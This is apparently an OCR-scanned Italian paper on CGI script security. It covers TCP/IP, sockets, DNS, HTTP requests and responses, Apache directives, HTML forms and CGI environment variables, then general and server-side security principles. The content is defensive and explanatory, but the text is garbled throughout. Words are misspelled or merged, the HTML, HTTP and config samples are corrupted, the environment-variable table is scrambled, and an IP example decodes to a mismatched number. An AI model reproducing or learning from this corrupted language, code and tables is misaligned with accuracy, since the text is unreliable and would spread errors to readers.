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1. Introduzione

L’inarrestabile sviluppo delle tecnologie legate al mondo Internet ha portato al’attenzione degli
addetti ai lavori e non, nuove e pungenti problematiche riguardanti gli aspetti della sicurezza in
rete. Prime fra tutte, come é fadle immaginare, sono le questioni riguardanti 1o strumento che,
sempre piu, e sinonimo d Internet : il World Wide Web. Negli ultimi tempi, infatti, si & asgstito ad
un notevole miglioramento delle teaologie legate a tale sistema e ha portato ad un incremento
esponenziale delle sue potenziaita. Come spes succede quando s ha a de fare cn mutamenti
cosi repentini, cio hadato vita al una serie di problemi riguardanti la sicurezza

Questo documento si propone di analizzare le tematiche relative aquesti aspetti, cercando, ove
posshile, di dare delle soluzioni applicabili in pratica

Si comincera con I'introdure i concetti base della programmazione su rete g passando attraverso il
funzionamento di un server HTTP, s giungera a esporre cio che poi sara il fulcro del nostro
argomentare: lasicurezza di cio che enoto come script CGl.

S presuppone de il lettore abbia una discreta conoscenza di sistemi UNIX-like e della loro
programmazone in linguaggio C, dato che il materiale di seguito esposto € stato testato su sistemi
Linux ix86 con server HTTP Apade, utilizzando script CGI scritti in C e, in minima parte, in Perl.

2. Lacomunicazionesu rete

Cominciamo subito con I'illustrare i concetti che sono alla base del funzionamento delle reti di
cdcolatori, come protocolli e modelli di programmazione, la cui comprensione € un prerequisito
esenziale per le successve trattazoni. Per maggiori dettagli su questa seaone s faccia riferimento
a[l] e a[12].

21. TCP/IP

Una rete di computer € un sistema di comunicazone che cnnette due o piu macchine (host) tra
loro: Internet non € dtro che unarete di reti eterogeneedi computer. Per mettere in comunicazone
sistemi diversi e stato necessario elaborare un insieme di protocolli (un insieme di regde e
convenzioni trai partecipanti ala comunicazone): a questo scopo e stata ideaa la suite TCP/IP.

La ommunicazone su rete winvolge I'interazione di due o piu process residenti su host diversi.
Primo pas di tale interazone éstabilire una mnnessone, ossia un canale logico su cui possano
esere scambiate le informazioni. Per far cio, deve essere possibile, in ogni istante, identificare
univocamente ogni host sulla Internet e, nel contempo, i processs che partecipano alla
comunicazone. Affinché ogni host sia identificato univocamente, gli viene asegnato un numero a
32 hit, detto indirizzo IP. Per comodita di notazione, un tale indirizzo viene cmunemente espreso
con quella che si chiama notazione puntata. Ad esempio I'indirizzo 193.205.160.10 € un indirizzo
IP valido, dove il primo numero identifica il valore decimale del primo byte, il secondo numero il
secondo byte e @si via.

| 11000001 |11001101] 10100000 | 00001010 |

195 205 160 10
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Per spedficare un proceso coinvolto in una wnnessione, si utilizzaun intero a 16 bit, detto ‘ porta
cheloidentificasu un determinato host.

2.2. Socket

Data I’importanza che assume la comunicazione su rete sono state sviluppate diverse interface di
programmazone per applicativi (APl) che ne semplificano I'utilizzo. Quella sicuramente piu
utili zzaa, e costituita dai socket di Berkeley, APl ogg disponibile nella maggior parte dei sistemi
operativi moderni. Elemento base di tale API e il socket: un oggetto software tramite il quale e
posshile effettuare tutte le operazioni di 1/0O che winvolgono la rete, in modo simile a come
avvienel’l/O sufile. Le operazoni basilari che si passono applicare al un socket sono:

e apertura

e connessone
e Jettura

e scrittura

e chiusura

L’ apertura di un socket e I’operazone con la quale s richiede d sistema operativo |’ allocazone di
una risorsa di tipo socket utilizzando la chiamata ala funzione socket(). Una volta ricevuto
I’identificatore del socket all ocato, si deve eff ettuare la mnnessone del socket stesso. Quest’ ultima
puod essere passva o attiva. Una connessone passiva viene stabili tain tre pass®: si associa il socket
aperto a una wppia (indirizzo IP, porta), tramite la funzione bind(), lo s mette in “ascolto” tramite
lafunzionelisten() e si attende che qualcuno si connetta a socket, tramite la funzione accept(). Una
connessone dtiva, invece prevede I’ utili zzo dell a funzione connect(), tramite la quale s indicala
coppia (indirizzo 1P, porta) del processo con cui s vuole comunicare. Una volta stabilita la
connessone sara possibile, per i due process connesd, scambiare informazioni eseguendo delle
operazioni di scrittura e lettura sul socket utilizzandolo come se fosse un file. Quando tutte le
informazoni necessarie sono state scambiate, il socket pud essere chiuso, utilizzando ola funzione
close() o lafunzione shutdown().

2.3. Domain Name System (DNS)

La difficolta di ricordare indirizzi IP ha portato alla redizzazione di un sistema di mappatura tra
questi ultimi e opportuni nomi simbdlici: il Domain Name System. Esso € costituito da un database
distribuito tra le varie postazioni sull’ Internet. Ad esempio il nome www.unisa.it verra risolto in
193.205.160.10, ma ricordare www.unisa.it € sicuramente molto pit semplice.

2.4. Moddlo client/server

! Solo per socket di tipostreamin daminio Internet (TCP) (cfr. [12]).
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Il modello client/server € una metodologia di progettazione di applicadoni per le reti (e non solo).
In questo modello I’ applicaivo e diviso in due parti: una dient e una server.

La parte server € preposta a dffrire un servizio. Generalmente il proces apre un socket tramite il
guale dtende di ricevere lerichieste dai client (connessone passva).

Laparte dient, invece richiede un servizio al server. Il proces client apre un socket (connessone
attiva), invialerichieste d server ed attende la risposta.

Per poter permettere la cmunicazone tra dient e server, € necessario che il client conosca il
numero di porta su cui il server € in attesa, ossia essa deve essere una porta ben naa (‘well-
known’). In questo modo er i client € posshile wnnettersi a server tramite I' indirizzo IP e il suo
numero d porta.

Esempi comuni di applicazoni che seguono una metodologia dient/server sono I'ftp, il telnet e lo
stes sistema Web.

Figura 1: modello client/server
3. Server HTTP

Come accennato precedentemente, il World Wide Web (WWW) segue il modello client/server.
Quando l'utente accede a w1 Sto  web, digitando stringhe de  tipo
‘http://nome.dell .host:portalrisorsa’ nella barra dell’indirizzo del suo browser (Netscape, Internet
Explorer o altro), non fa dtro che fornire quest’ ultimo dei dati necessari per formulare la richiesta.
Infatti, ‘nome.dell .host’ specifica il nome dell’host cui c¢i si vuole conrettere (rimappato in un
indirizzo IP dal DNS), ‘porta’ specifica la porta su cui il server € in attesa (se questo parametro €
omess il client utilizzerala porta 80, porta ben nota del servizio WWW), e ‘/risorsa’ il pathname
della risorsa (ad esempio un file) che s richiede. Ricevuta la richiesta, il server Web o server
HTTP, provvedera, ove mnsentito ad inviare a client la risorsa richiesta. Tutta la comunicazone
tra dient e server avverra tramite due socket, uno aperto dal server (connesgone passva) e I’atro
aperto dal client (connessione ativa), utilizzando un ben definito protocollo: I'HyperText Transfer
Protocol (HTTP).
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3.1. Hypertext Transfer Protocol (HTTP)

Il protocollo HTTP é stato usato per il WWW sin dal 1990. Nella sua prima versione (HTTP/0.9)
era un semplice protocollo per il trasferimento d dati attraverso I'Internet. Successvamente estato
migliorato in base dle esigenze avute @n il crescere dellarete.

Informalmente esso stabilisce le aratteristiche che devono avere sialerichiesteinviate da client a
server, sialarispostainviatadal server a client. Diamogli uno sguardo piu da vicino, focalizzando
la nostra attenzione su quegli aspetti che d serviranno per la successva trattazone. Al lettore
interessato ad unatrattazone pitu completas rimanda a[3] e a[5].

UnarichiestaHTTP inizia con unastringa ASCII, detta Request-Line, costituita di tre parti:

* Nome del metodo
«  Request-URI
* Versione protocollo (HTTP Version)

Il nome del metodo indical'operazone theil server HTTP deve dfettuare. ES puo essere uno del
seguenti:

» GET, utilizzao per ricevereil contenuto del fil e specificato dal Request-URI;

» HEAD, utili zzato per ricevere informazioni relative d file speaficao dal Request-URI;

* POST, utilizzao per fornire un bocco di dati ad un proces applicativo, estendere un
database tramite una operazone di append, o simili;

* PUT, DELETE, TRACE, OPTIONS, CONNECT la aui trattazione esula dal nostro scopo.

La Request-URI (Uniform Resource Identifier) identificalarisorsa sullaquale gplicare larichiesta
(ad esempio un peth di un file).

La versione del protocollo si riferisce ala versione del protocollo HTTP che la richiesta inviata
segue (ad esempio HTTP/0.9)

In aggiunta alla Request-Line vi possono essre uno o pu header che danno informazioni
aggiuntive sulla richiesta, sull’ eventuale parte dati, sulla risorsa, o di carattere generale. Alcuni di
guesti sono:

e User-Agent che spedficalo user agent (il browser) che ha generato larichiesta;
» Referer che indica I’'URI della risorsa dalla quale € stato atenuto il Request-URI della
richiesta corrente.

Unarichiesta HT TP pud eventua mente concludersi con una parte dati.
Unarisposta cheunserver HTTP inviera a un client sara composta da TRE parti:

e Status-Line
e Uno o piuHeader,
e Partedati.
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La Status-Line eunastringadel tipo “HTTP-Version Status-Code Reason-Phrase” dove:

e HTTP-Vesion elaversione del protocollo HTTP cheil server supporta (con compatibilita
al’indietro);

» Status-Code una stringa che rappresenta un intero di tre dfre che descrive I'esito della
richiestainviata (ad esempio 400 indica dheil server haricevuto unarichiesta arata);

* Reaon-Phrase éuna stringa dhe descrive in linguaggio naturale cio che éindicato dallo
StatusCode.

Dopo questa prima linea posono seguire una serie di header opzionali. Alcuni dei possbili sono:

e Content-type die indica il tipo di formattazone dei dati presenti nella parte dati; ad
esempio se tale campo indica‘text/html’ il browser interpreterai byte cmpresi nella parte
dati come caatteri ASCII, mentre se |I' header di risposta e indicato ‘image/jpeg’
interpretera la parte dati come un’immagine di formato JPEG;

» Content-Length cheindicalalunghezza, in byte, della parte dati

Laparte dati dellarisposta contienei dati richiesti tramite il Request-URI.

Vediamo un semplice esempio di utilizzo del protocollo. Supponiamo d voler accalere a un sito |l
cui indirizzo e “www.hello.it”, e di voler ottenere il file index.html che s trova nella directory
“/Helloworld”. Sul nostro browser digiteremo “http://www.hell o.it/HelloWorld/index.html”. I
browser genererala seguente richiesta che invieraa server HTTP www.hell o.it:

GET /Hel l oworl d/index. html HTTP/ 1.1

User-Agent: Modzilla/4.6 [en] (X11; I; Linux 2.0.36 i586)

Figura 2; Esempiodi unarichiestaHTTP

Supposto che tale file esista e te sia posshile acedervi liberamente, il server inviera la seguente
risposta:

HTTP/ 1. 1 200 OK
Server: Apache/1.3.9 (Unix) (Red Hat/Linux) PHP/3.0.15

Content-Length: 123
Content - Type: text/htn

<htm >

<head>
<title>Hello Wrld</title>

</ head>

<body bgcol or="white">
<center>Hello World !!!l</center>

</ body>

</ htnl >

Figura 3: Esempiodi unarisposta HTTP
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3.2. Configurazionedi un server HTTP

Il server HTTP e un’ applicazone che accetarichieste in un dato formato, le interpreta € senon s
verificano errori, invia a mittente la risorsa richiesta. Es deve essere @nfigurato in modo
appropriato modificandonei file di configurazone.

Nel nostro caso utilizzeremo Apache mwme esempio di server HTTP. Quest’ ultimo dispone di vari
file di configurazone tra i quali il piu importante é httpd.conf. Qui sono poste le direttive che
regolano il comportamento di Apache. Analizzeremo araquelle die a interessano, rimandando per
unadescrizione mmpleta a[4].

DocumentRoot: indica la radice dell’adbero delle directory in cui sono locdizzati i
documenti che il server utilizza per rispondere dle richieste del client. Una tipica
configurazone per questo parametro potrebbe essere:

Document Root /usr /Il ocal /httpd/ htdocs

In questo caso, se d server arriva unarichiesta per larisorsa ‘/hello.html’ controll era nella
directory ‘/usr/loca/httpd/htdocs” se esiste il file hello.html ed in caso aff ermativo inviera
al richiedente il suo contenuto. Graze aquesto meaanismo, si rende invisibile a client la
struttura della parte di filesystem che si trova amonte della DocumentRoot.

ScriptAlias: definisce un alias 24 una directory dove verranno posti gli script CGI. Le
richieste il cui Request-URI comincia mn questo adlias sara interpretata come la richiesta
di eseauzione dello script CGI individuato nel Request-URI in questione. Una tipica
configurazone per questo parametro potrebbe essere:

ScriptAias /cgi-bin/ /usr/local/httpd/cgi-bin/

dove ‘/cgi-bin/ € I'dias della directory ‘/usr/local/httpd/cgi-bin/’. Quest’ultima deve
contenere gopunto particolari programmi (script CGI) cheil server manderain eseauzione
guando verranno richiesti dal browser. Se arrivasse, ad esempio, la seguente richiesta da
parte di un client

GET /cgi-bin/test HITP/ 1.0

essa verrebbe interpretata dal server HTTP come la richiesta di esecuzione dello script
CGl ‘/usr/loca/httpd/cgi-bin/test’, il cui output, come vedremo in seguito, sara rediretto
verso il client.

Diredorylndex: indica un nome valido d file. Una tipica ®nfigurazione di questo
parametro €:

Di rectoryl ndex index. html

Nel caso in cui il Request-URI indichi una diredory, il server controllase in essavi e un
file che s chiamaindex.html e selo trovaloinvia d client come risposta.
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* Port: indicail numero d porta TCP sulla quale il server accetta le richieste. La porta di
default &1a80.

e User: I'utente d qualeil server apparterra.

e Group: il gruppo a quaeil server apparterra.

4. HTML eCGl

In questa sezone descriveremo sommariamente I'HTML e la CGI soffermandoci in particolare su
Cio che ci potra essere utile in seguito. Per ulteriori informazioni sull’HTML, si rimandail |ettore
interessato a[14], mentre per ulteriori dettagli sulla CGl s facciariferimento a[13].

41. Che msael’HTML?

Per pubblicare informazoni di distribuzione globale, si habisogno d unlinguaggio universal mente
inteso e de tutti i computer possano capire. |l linguaggo per la pubblicazione usato nel contesto
del World Wide Web eI’ HyperText Markup Language o HTML. L’HTML consente di:

» Pubblicare documenti con intestazioni, testi, tabelle, liste, foto, ecc.

* Ricevere informazioni attraverso collegamenti ipertestuali con il semplice dick di un
bottone.

* Includere filmati, effetti sonori e atre goplicazioni direttamente nel documento.

» Disegnare moduli (FORM) per effettuare transazioni con servizi remoti, per ricercare
informazoni, fare prenotazioni, ordinare prodatti, ecc.

Proprio quest’ultima caratteristica dell’ HTML consente |'utilizzo classico degli script CGl:
I’elaborazone del dati che vengono inseriti in appositi FORM.

4.2. | FORM

Un FORM e una parte di un dacumento HTML, racchiusa tra un tag inizide ed uno finale
(rispettivamente <FORM> e </[FORM>), contenente, tra le altre cose, speciai elementi di input
chiamati controlli (checkbox, menu, ecc.). Un utente che si trova davanti un documento HTML
comprendente un FORM, generalmente compila il FORM modificando i controlli (inserendo del
testo in esg, selezionando elementi di menu, ecc.), dopodiché lo ‘ sottomette’ (tramite uno spedae
controll o, detto submit, che normalmente e visualizzato come un bottone) ad un agente (nel nostro
caso un server HTTP) capacedi elaborarne il contenuto. Ogni controllo del FORM pu0 essere visto
come una mppia (nomeControllo, valoreControllo), dove nomeControllo identifica univocamente
il controllo al' interno del FORM, mentrevaloreControllo indica il contenuto del controllo al
momento dell a sottimissione. Inoltre, tragli attributi di un FORM due sono d particolare interess:

e adion: indica il Request-URI dell’ entita designata a elaborare il FORM, tipicamente uno
script CGl;
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method: metodo HTTP (GET o POST) che sara utilizzato per inoltrare larichiesta d server

HTTP,

Ad esempio il seguente documento HTML contiene d suo interno un FORM.

si ze="24">

nanme="subm t">

1 <htn>

2 <head>

3 <title>Cerca un vocabolo</title>

4 </ head>

5 <body bgcol or ="#adcOac" >

6 <center>

7 <br >

8 <p>

9 <t abl e border="4" w dt h="50% >
10 <form name="cerca" action="/cgi-bin/cerca.cgi" nethod="get">
11 <tr>

12 <td>

13 <cent er>

14 Vocabol o da cercare
15 </ center>

16 </td>

17 </[tr>

18 <tr>

19 <td>

20 <cent er>

21 <i nput type="text" nane="vocabol 0"
22 </ cent er >

23 </td>

24 </[tr>

25 <tr>

26 <td>

27 <cent er >

28 <i nput type="submt" val ue="Cerca"
29 </ center>

30 </td>

31 </[tr>

32 </ fornp

33 </t abl e>

34 </ cent er >

35 </ body>

36 </htm >

Figura 4: esempio di FORM in HTML

Il risultato di questa pagina HTML visualizzato da un browser grafico quale Netscapel, sara quello
rappresentato in figura
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# Cerca un vocabolo - Netscape

File Edit “iew Go Communizator Help

rwﬁé-@é‘i\a.’&adﬁi@ﬁ%

Blaek Fopward  Reload Home Search  Metscape Frint Securnty Shop Stop
Y wa! " Bookmarks \3& Go to:Ihttp:a’a"www.vocabolario. itécerca hbml j @'What's Related
' 4% Instant Message "wiebhd ail Radio People “rellow Pages Drowload Calendar ['_‘|' Chanre
| Veocabolo da cercare
| Cerca |
| == |Document: Done eI |

Figura 5: esempio di FORM visualizzato da un browser grafico

4.3. Introduzione alla Common Gateway I nterface (CGI)

E stato accenato nelle precalenti sezioni che quando un utente si conrette al un server HTTP,
generalmente riceve un file e sara visualizzao dal browser. E stato volutamente utili zzao il
termine ‘ generalmente’, perché a volte il browser riceve dati che non sono memorizzati in un file,
ma sono I’output di programmi scritti ad hoc ed eseguiti dal server HTTP. Per far cio, entrambi
hanno bisogno d un metodo per interagire: la Common Gateway Interface (CGI), una semplice
‘interfaccia’ per eseguire programmi esterni, software o gateway, sotto un information server,
indipendentemente dalla piattaforma. Attualmente, gli information server supportati sono i server
HTTP.

Il software invocato dal server via CGIl e detto script CGIl. Es non € necessariamente un
programma indipendente, ma potrebbe essere una libreria mndivisa o caricata dinamicamente o,
addirittura, una subroutine nel server. Lo script CGI pu0 essere un insieme di istruzioni interpretate
a run-time (normale accezione del termine), ma non lo € necessariamente. 1l server HTTP e lo
script CGI sono entrambi responsabili nel servire unarichiestadi un client.

Lo script CGI non € magia: € solo progranmazione n qualche input spedale e poche rigide
regole sull' output.

4.4. Funzionamento degli script CGI

Un tipico scenario che prevede I’ esecuzione di unoscript CGI, coinvolge I'interazione di tre entit&:
il FORM che richiamalo script, lo script stesso e il server HTTP. Tutto il procedimento puo essere
diviso schematicamente in tre parti:
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* |l browser invialarichiesta d server HTTP.
* |l server HTTPricevelarichiesta e avial’ esecuzione dello script CGl.
» Loscript CGI svolgeil suo compito einviail suo output al browser.

4.4.1 Inviodelarichiestada partedel browser

Procediamo per gradi e vediamo come si svolge tutto il procedimento.

Una volta compilato il FORM, |’ utente sottomette la richiesta diccando sul bottone di submit. A
guesto punto, il browser prepara la richiesta da inviare procedendo nel seguente modo: per ogni
controllo nel FORM, costruisce una stringa del tipo nomeControllo=valoreControllo e
successvamente concaena tutte | e stringhe separandole onil carattere ‘&’. 1l browser ottiene cosi
guella dhe € mmunemente nota come query string. Fatto cio controlla qual € il metodo HTTP con
cui lo script deve essere invocato (informazone cntenuta nell e proprieta del FORM). Se si tratta
del metodo GET, alora mncaena d Request-URI (indicao ddla proprieta adgion del FORM) il
caattere ‘? e laquery string. A questo punto il browser € pronto ad inviare larichiesta d server
HTTP dal quale ga precedentemente stato atenuto il FORM, costruendo larequest line aon:

GET Request- URI ?query_string versi one-HITP

Alla request line sopra indicaa verranno eventualmente aygiunti alcuni header di richiesta mentre
la parte dati rimarra vuota. Consideriamo |I’esempio del FORM visto nel paragrafo precedente.
Supponiamo di inserire il vocabolo ‘benvenuto’ nel controllo per I'inserimento di testo del FORM;
una volta inseritala stringa eaver premuto il bottone ‘Cerca (submit), il browser inviala seguente
richiesta d server su www.vocabolario.it:

GET /cgi - bi n/ cerca. cgi ?vocabol o=benvenut o&submit =Cerca HTTP/ 1.0

Referer: http://wwm. vocabol ario.it/cerca. htm

Connection: Keep-Alive

User-Agent: Mozilla/4.6 [en] (X11; I; Linux 2.0.36 i586)

Host: www. vocabol ario. it

Accept: image/gif, inage/x-xbitmap, image/jpeg, imagel/pjpegy, imagel/png, */*
Accept - Encodi ng: gzip

Accept - Language: en

Accept - Charset: is0-8859-1,*,utf-8

Figura 6: esempio di richiesta GET che esegue uno script CGl

Nel caso in cui il metodo HTTP indicao nel FORM foss il POST, la richiesta risultante sara
leggermente diversa. Larequest line sarainfatti costituita da:

POST Request-URI versione-HTTP

mentre la query string sarainseritanella parte dati dell arichiesta.
Come esempio supponiamo di sostituire la riga 10 del codice HTML che prevede il FORM del
paragrafo precedente @wn

<f orm name="cerca" action="/cgi-bin/cerca.cgi" method="post">
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dove I’unicadifferenza eil metodo utilizzato. Una voltainserita la stringa nell’ apposito controllo e
premuto il pulsante ‘Cercd, il browser inviala seguente richiesta:

PCST /cgi-bin/cerca.cgi HITP/ 1.0

Referer: http://ww. vocabol ario.it/cerca. htm

Connection: Keep-Alive

User-Agent: Mozilla/4.6 [en] (X11; |; Linux 2.0.36 i586)
Host: www. vocabol ario.it

Accept: image/gif, inage/x-xbitmap, image/jpeg, imagel/pjpey, imagel/png, */*
Accept - Encodi ng: gzip

Accept - Language: en

Accept - Charset: is0-8859-1,*,utf-8

Content-type: application/x-ww-formurl encoded
Content-length: 31

vocabol o=benvenut o&ubm t =Cerca

Figura 7: esempio di richiesta POST che esegue uno script CGI

Vediamo cosi che, per il browser, la differenzasostanziale trainvocare uno script con metodo GET
0 POST riguarda solo il pasizionamento della query string.

442 |lserver HTTP elaboralarichiestaricevuta

Unavolta de larichiesta per I’ eseauzione di uno script CGI sara giunta al server http, esso creera
un proces9 figlio. 1l processo figlio, analizzando a sua voltalarichiesta, eseguirai seguenti passi:

* Iniziadizzerail contenuto d opportune variabili d’ambiente.

* Redirigera il suo standard output sul socket relativo alla connessone su cui € giunta la
richiesta.

* Seil metodo con cui deve essere invocato lo script e il GET, inizidizzerail contenuto della
variabile d’ambiente QUERY_STRING con la query string (in questo caso contenuta nel
Request-URI); se invece si tratta del metodo POST, redirigera il suo standard input sul
socket (i cui primi byte conterrano la parte dati dell arichiesta).

* Eseguiraunaexec dell o script indicato nel Request-URI

Per quanto riguarda le variabili d' ambiente? inizializzate nel primo pesso della procedura, ese
vengono definitein [13]. Traqueste, le piu importanti sono riportate nella tabell a sottostante.

%Inredtain[13] si parladi “metavariabili” (0 “request metadata”), ossadi informazioni riguardanti larichiesta
passate dal server al o script. L’implementazione di questo meccanismo d passaggio dei dati € dipendente dal sistema:
per i sistemi Unix viene mnsigliatal’implementazone wn le variabili d’ ambiente.
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CONTENT_LENGTH Tagliad elco rpo delm essaggioa ttaccato allar ic hiesta

CONTENT_TYPE

Tipo MMEdeid atid ella richiesta

GATEWAY_| NTERFACE

VersioneCA che ils erveru sa

PATH | NFO Path chel o scriptd eve utili zzare

QUERY_STRI NG Vedi ins eguito

REMOTE_ADDR L'indirizzo IPdelc lient

REQUEST _METHOD Met odoHTTP concu iés tatafa ttal a richiesta
SCRI PT_NAME Path dellosc ript CAi nvocato

SERVER NAME IIn omedell” host dels erver

SERVER PORT LaportaTCP delse rver

SERVER PROTOCCL Nonme er evisi one delp rotocoll odellar ichiesta

SERVER _SOFTWARE IIn oneev ersioned else rver HITP (e s. Ap achel. 3)

Figura 8: Variabili d'ambiente che uno script CGI utilizza

4.4.3 Loscriptinazione

A questo punto il controllo passa alo script CGI. Lo script elaborerai dati inviatigli attraverso le
variabili d’ambiente e la query string (prelevata dall’omonima variabile d’ambiente nel caso d
metodo GET o dallo strean di input nel caso del POST), costruira una risposta e per inviarla d
browser che areva richiesto la sua esecuzione sara sufficiente inserirla nello stream di output.
Come s vede il compito d uno script CGI e piuttosto semplice, ciononostante e pieno di insidie
nascoste.

444 Differenzetrametodo GET e POST

A questo punto ci si potrebbe diedere perché per I'invocazione de CGl sono supportati due
metodi, che, con qualche piccola differenza, sembrano fare la medesima sa. La risposta € piu
semplice di quanto ci s possa aspettare. L'utilizzo del metodo GET non ha bisogno
necessariamente di un FORM, basta aggiungere un*? ei dati desiderati alla URL dell o script CGl,
che s desidera eseguire, per ottenere lo stes risultato. Ad esempio per il caso preceadente sarebbe
posshil e digitare nellabarradell’indirizzo del nostro browser la seguente linea:

http:/ /ww. vocabol ario.it /cgi-bin/cerca. cgi ?vocabol o=benvenut o&subni t =Cer ca

Figura 9: invocazione di uno script CGI senza |' utilizzo di un FORM

Utilizzando questa cratteristica € ©si posshile inserire in pagine HTML, collegamenti i pertestuali
ascript CGI passando ad ess anchei parametri di cui necessitano.

Lo svantaggio principale di questo metodo & che la query string non puo essere infinitamente lunga,
dovendo eventualmente soddisfare i vincoli sulla sua dimensione de posono essere imposti siada
browser che dal server.

Nell’ utilizzo del metodo POST non vi e questo vincolo, dato che i parametri di input vengono
passati alo script CGI attraverso il suo standard input, fornendo uno stream di dati di lungheza
virtualmente infinita.
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Un'ultima differenzariguarda il logging del server. La query string, nel metodo GET, s trova nel
Request-URI, e ne viene fatto il log asseme dla restante parte dellarichiesta. Pertanto, & dtamente
sconsigliabile I’ utilizzo del metodo GET quando si devono inviare dati di natura confidenziae,
come password o simili. Con il metodo POST tale inconveniente non si verifica

5. Sicurezza

Nel momento in cui s istalla un server HTTP su una macchina, si apre una finestra sulla propria
rete locale attraverso la quale tutta I' Internet pud guardare. | rischi che do comporta sono
innumerevoli. La maggior parte dei visitatori sara ben contenta di usufruire di cio che s € mes a
disposizione di tutti, ma atri potrebbero cercare di raggiungere informazoni che non s era
intenzionati a rendere pubbliche. Inoltre, € noto a tutti che i programmi piu sono gross e ompless
e piu hanno un’ ata probabilita di contenere dei bug: i server HTTP sono del programmi veramente
molto grandi e complessi. A ci0 S aggiunge che ess permettono I' esecuzione di programmi, gli
script CGI che il server esegue sulla macchina ove é istallato, in risposta al una richiesta
dell' utente. Da cio s evince I'importanza dun sistema di protezione sicuro che garantisca il
servizio dferto. Lasicurezadi un sistema Web puo essere mnsideratain tre aspetti fondamentali:

* Sicurezzadel sistemasu cui il server HTTP éistall ato
e Sicurezzade server HTTP
» Sicurezzadegli script CGlI

5.1. Sicurezzadel sistema

Cominciamo col trattare la sicurezzadel sistema ill ustrando i principi generali che sarebbe bene
osservare sempre. Tipicamente un sistemasicuro deve soddisfare tre cratteristiche fondamentali:

» Confidenziaita: le risorse che il sistema mette adisposizione devono essere fruibili solo da
utenti autorizzati.

* Integrita lerisorse di un sistema devono essere modificabili solo da utenti autorizzati e in
modo autorizz&o.

» Disponibilita le risorse che il sistema mette a disposizione devono essre accesshili da
utenti autorizzati. La non soddisfazone di questa caatteristicae meglio concsciuta mme la
negazione del servizio (denial of service).

Saltzer e Schroeder [16] [17] nel biennio 1974/75 elencarono i seguenti principi di progettazone di
un sistemadi protezione sicuro, tutt’ oravalidi:

* Privilegi minimi: ogni utente o programma dovrebbe operare con meno privilegi possibili.
Cio limita gli eventuali danni provocati da incidenti casuai, attacdi o errori. Questo
principio pud essere facilmente esteso ala costruzione interna di un programma: se un
programma, in qualche sua parte, necessta di particolari privilegi, € meglio ridurre d
minimo la porzione di codice deli utilizza

* Economia dei meccanismi: la progettazione di un sistema di protezione dovrebbe essere
quanto piu possbile piccola esemplice
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* Progettazione aperta (open design): i meccanismi di protezione non devono dipendere
ddl’ignoranza di chi attacca. Invece il meccaiismo dovrebbe essere pubHbico e fondare la
sua sicurezza su elementi relativamente pochi e semplici da canbiare, come password e
chiavi private.

* Mediazone mmpleta: ogni tentativo d acces deve essere wntroll ato.

» Valori predefiniti sicuri (fail-safe defaults): i valori predefiniti dovrebbero sempre negare la
concessone di un servizio e lo schema di protezione dovrebbe dlora identificare le
condizioni sotto le quai I’acesd é mnsentito.

» Separazione del privilegi: generamente, I’accesso ad un oggetto dovrebbe dipendere da piu
di una @ndizione, cosicché, anche se una di esse e superata, il sistema non concede un
aaceso compl eto all’ oggetto.

e Minimi meccanismi di condivisione: |'interazone tra programmi puo talvoltafornire canali
di informazone pericolos e interazoni indesiderate.

» Accetabilita psicologicaFadlita d'uso: I'interfaccia utente deve essere progettata in
manieratale dhei meacanismi di protezione sianofacili da utili zzare in modo corretto.

Caratteristica principale di un sistema e il sistema operativo adottato. In genere, quanto piu
complesso e potente € un sistema operativo, tanto piu es e gerto ad attacdi dall' esterno. Oggi i
due sistemi operativi su cui Si eseguono la maggior parte dei server HTTP presenti in rete sono
Unix, con i suoi vari cloni (vedi ad esempio Linux) e Windows NT", il sistema operativo d punta
della Microsoft”. Trai sostenitori dei due sistemi si & gerta una vera e propria diatriba su quale
fosse il piu sicuro, fornendo ognuno le proprie opinioni. Di tutto cio, I' unica cosa sicura e che la
sicurezza di un server HTTP parte da una corretta configurazone del sistema operativo su cui il
server deve girare. Possamo qui eencare dcuni suggerimenti che un buon amministratore
dovrebbe seguire:

e Limitareil numero d account registrati sullamacchinadoveil server ein eseauzione;

» Asdcurarsi chegli utenti con permess di login sulla macchina scelgano buone passwvord
(password che siano abbastanzalunghe enon d senso compiuto);

» Disabilitarei servizi non necessari, come a esempio pdrebbe essrel’ FTP,

* Rimuovereleshell egli interpreti dei quali non si ha bisogno;

» Controllare acaratamente eperiodicamentei log del server HTTP per asscurarsi che non
siano avvenuti eventuali attacchi, anche se non eseguiti con successo;

» Essresicuri chei permess sul file system siano corretti, in particolar modo quelli che
riguardano la parte di file system utilizzata dal server HTTP.

5.2. Sicurezzadi un server HTTP

Passamo ara a onsiderare gli aspetti relativi ad una rretta configurazone di un server HTTP.
Gli aspetti di cui discuteremo saranno i seguenti:

* UID del server HTTP.
* Permesg sul filesystem.
» Fadlity avanzae.
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e Soluzione @mn chroot
» Locaizzazonedegli script CGI

521 UIDde server HTTP

Prima eindispensabile acortezzadi un amministratore di sistema, deve essere quella di far girareil
server HTTP della sua macdiina on privilegi ristretti. A tale proposito ¢’'e un’importante aspetto
da considerare: il bind della porta ben nota del protocollo HTTP, la porta 80, che il server deve
eff ettuare. Su sistemi Unix-like, per effettuare il bind d una portail cui numero € inferiore a 1024,
I" applicazione deve essere eseguita da root. Cio implica de, per effettuare il bind, il server debba
essere avviato dal superuser. Fatto cio, I' applicazone dovrebbeseguire una chiamata asetuid per
cambiare il suo proprietario con un utente meno privilegiato. La maggior parte del server HTTP
forniscedirettive di configurazone che permettono all' amministratore di sistemadi scegliere’UID
(I"utente) eil GID (il gruppo) sotto cui il server HTTP dovra girare. Per quanto riguarda Apache, le
corrispondenti direttive sono, rispettivamente, User e Group. In un sistema Linux esiste di solito un
utente con permess particolarmente limitati chiamato nobody, a cui € asciato un gruppo con il
medesimo nome. Tale utente ecreao appositamente per 10 scopo suddetto. Si puo quindi pensare di
far eseguire il server sotto questo utente e il suo gruppo. Si preferisce talvolta, pero, creare un
utente eun gruppo a parte per il server HTTP per evitare possbili interferenze @n altri process
che utilizzano nobody e il suo gruppo come UID e GID. Questa probabilmente € proprio la scelta
migliore, in quanto evita ogni posshbil e inconveniente.

5.2.2 Permess sul filesystem

Inoltre, particolare atenzione deve essere posta anche nel porrei giusti permess sull e directory ove
il server verraistallato. Riferendoci ancora d server Apache, daremo una “configurazone-tipo” di
tali directory. Una sempliceistallazone di Apadche comprende le seguenti diredory:

» conf: contienei file di configurazione del server

* logs: contienei log del server

* htdocs: ladocument root del server

e cgi-bin: contiene gli script CGI cheil server utilizza

Anzitutto € buona norma de le directory conf e logs siano creae da root e siano modificabili solo
da questo utente. Supporendo di voler istalare Apache in /usr/local/httpd/ si pud eseguire la
seguente sequenza di comandi:

mkdi r /usr/local/httpd
cd /usr/local/httpd
